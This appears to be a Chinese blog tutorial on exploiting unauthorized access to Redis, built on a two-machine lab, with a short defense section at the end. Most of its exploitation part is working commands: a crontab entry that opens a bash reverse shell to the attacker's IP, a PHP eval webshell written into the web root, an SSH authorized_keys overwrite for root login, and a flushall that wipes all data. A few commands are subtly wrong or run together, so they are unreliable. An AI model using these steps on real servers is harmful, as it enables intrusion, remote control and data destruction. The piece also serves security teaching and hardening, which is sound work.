Redis未授权访问利用|验证

目录

  1. 介绍
  2. redis搭建
  3. redis未授权访问验证、利用
  4. 漏洞防御

Redis

REmote DIctionary Server(Redis)  是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。。

 Redis 与其他它key - value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
  • Redis支持数据的备份,即master-slave模式的数据备份。

  Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。


 搭建Redis<linux>

>>>下载centos安装包http://redis.io/download

root@kali:~/桌面# tar -xvf redis-unstable.tar.gz 

>>>编译安装

root@kali:~/桌面# cd redis-unstable/
root@kali:~/桌面/redis-unstable# make

>>>启动redis服务

root@kali:~/桌面/redis-unstable# cd src/

root@kali:~/桌面/redis-unstable/src# ./redis-server ../redis.conf 

redis.conf 是一个默认的配置文件。我们可以根据需要使用自己的配置文件。

启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:

root@kali:~/桌面/redis-unstable/src# ./redis-cli

>>>修改配置文件,使可以远程访问:

  bind 127.0.0.1前面加上#号 protected-mode设为no

启动redis-server

root@kali:~/桌面/redis-unstable/src# ./redis-server


 未授权利用/验证

验证未授权访问漏洞

[这部分内容是重新搭建环境测试]---需要搭建redis作为一个攻击机192.168.242.131,受攻击redis服务器192.168.242.134

1.Nmap扫描查看端口开放情况

默认redis使用的6379端口,使用nmap查看端口情况 nmap -A -p 6379 ?script redis-info 192.168.242.134

2.Redis未授权访问验证、获取敏感信息

  Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下,默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

这里我使用另一台安装了redis的centos远程连接测试

>>>./redis-cli   -h   192.168.242.134

 

1)查看敏感信息

redis 192.168.242.134:6379> info

 

 2)查看key和对应的值

>>>keys  *

 


 漏洞利用

1.利用crontab反弹shell

>>直接向靶机的Crontab写入任务计划,反弹shell回来

redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save

 

>>然后在攻击机(192.168.242.131)上启动 nc 监听 888端口,等待反弹shell。这过程需要一些时间。

[root@localhost ~]# nc -lvnp 888

 

2.写入webshell

当自己的redis权限不高时,可以向web里写入webshell,但需要对方有web服务且有写入权限。假设靶机里面存在WEB服务并且目录在 /var/www/ 

redis 192.168.242.134:6379>config set dir /var/www/a

redis 192.168.242.134:6379>config set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

redis 192.168.242.134:6379>config set dbfilename webshell.php

redis 192.168.242.134:6379>save

 

写入之后访问目录看是否存在,如果已经写入,可以使用菜刀连入数据库了。

 

3.写ssh-keygen公钥然后使用私钥登陆

>>利用条件:(1)redis对外开放,且是未授权访问状态

            (2)redis服务ssh对外开放,可以通过key登入

>>具体利用步骤:

1) 准备好自己的公钥,写入本地文件text.txt。

[root@localhost src]#ssh-keygen -t rsa    # 创建秘钥

[root@localhost src]#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
 
2) 通过redis将该文件写入内存
[root@localhost src]# ./redis-cli -h 192.168.242.134 flushall
[root@localhost src]# cat test.txt | redis-cli -h 192.168.242.134  -x  set  crackit    #链接redis 并将秘钥上传
 
3) 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
[root@localhost src]# redis-cli -h 192.168.242.134
192.168.242.134:6379> config set dir /root/.ssh/# 切到ssh目录去
192.168.242.134:6379> config get dir
192.168.242.134:6379> config set dbfilename "authorized_keys"# 保存到 authorized_keys 文件里
192.168.242.134:6379> save ssh -i id_rsa root@192.168.242.134# 保存并登陆
 
 ----------------------------------------------------^--^-------------------------------------------------------

防御方法

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码

>>修改 redis.conf 文件,添加
requirepass  mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344

4、以低权限运行 Redis 服务(重启redis才能生效)

>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

5、最后还可以配合iptables限制开放

posted @ 2019-07-05 00:44  请叫我阿毛  阅读(28262)  评论(1编辑  收藏  举报